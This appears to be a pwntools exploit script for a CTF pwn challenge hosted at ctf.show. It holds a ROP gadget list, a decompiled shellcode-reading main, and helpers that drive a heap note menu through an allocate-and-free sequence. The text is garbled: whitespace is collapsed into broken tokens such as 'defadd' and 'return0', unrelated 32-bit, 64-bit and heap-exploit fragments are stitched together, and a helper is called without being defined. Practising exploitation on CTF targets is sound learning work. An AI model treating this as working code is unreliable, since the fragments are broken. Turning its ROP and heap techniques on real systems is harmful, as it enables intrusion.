local_mote=0 elf='./moonpwn01' e=ELF(elf) context.log_level = 'debug' context.arch=e.arch ip_port=['pwn.challenge.ctf.show',28075] #GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. debug=lambda : gdb.attach(p) if local_mote==1elseNone
if local_mote==1 : p=process(elf) else : p=remote(ip_port[0],ip_port[-1]) """ 0x00000000004006fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006fe : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400700 : pop r14 ; pop r15 ; ret 0x0000000000400702 : pop r15 ; ret 0x00000000004006fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ff : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400578 : pop rbp ; ret 0x0000000000400703 : pop rdi ; ret 0x0000000000400701 : pop rsi ; pop r15 ; ret 0x00000000004006fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004004ce : ret """ rdi_ret=0x0000000000400703 ret=0x00000000004004ce
int __cdecl main(int a1) { char s; // [esp+0h] [ebp-18h] int *v3; // [esp+10h] [ebp-8h]
v3 = &a1; sub_80485A6(); memset(&s, 0, 0x10u); memset(::s, 0, 0x100u); puts("Input your shellcode"); fgets(::s, 256, stdin); puts("Do you know how to use shellcode????"); read(0, &s, 0x14u); if ( strcmp(&s, "yes\n") ) { puts("you may be need learn it"); exit(0); } puts("ok,good"); return0; }
defadd(title,size,text): p.sendline('2') p.recvuntil('Title of note to write content:') p.sendline(str(title)) p.recvuntil('Size of content') p.sendline(str(size)) p.recvuntil('Content:') p.sendline(text)
defshow(title): p.sendline('3') p.recvuntil('Title of note to show content:') p.sendline(str(title))
deffree(title): p.sendline('4') p.recvuntil('Choice: Title of note to delete:') p.sendline(str(title))
for i in range(0x20): add_note(str(i)) add(2,0x48,'11111') add(1,0x48,'11111') free(2) free(1) #free(2) add_note(1) free(1) add_note(1) show(1)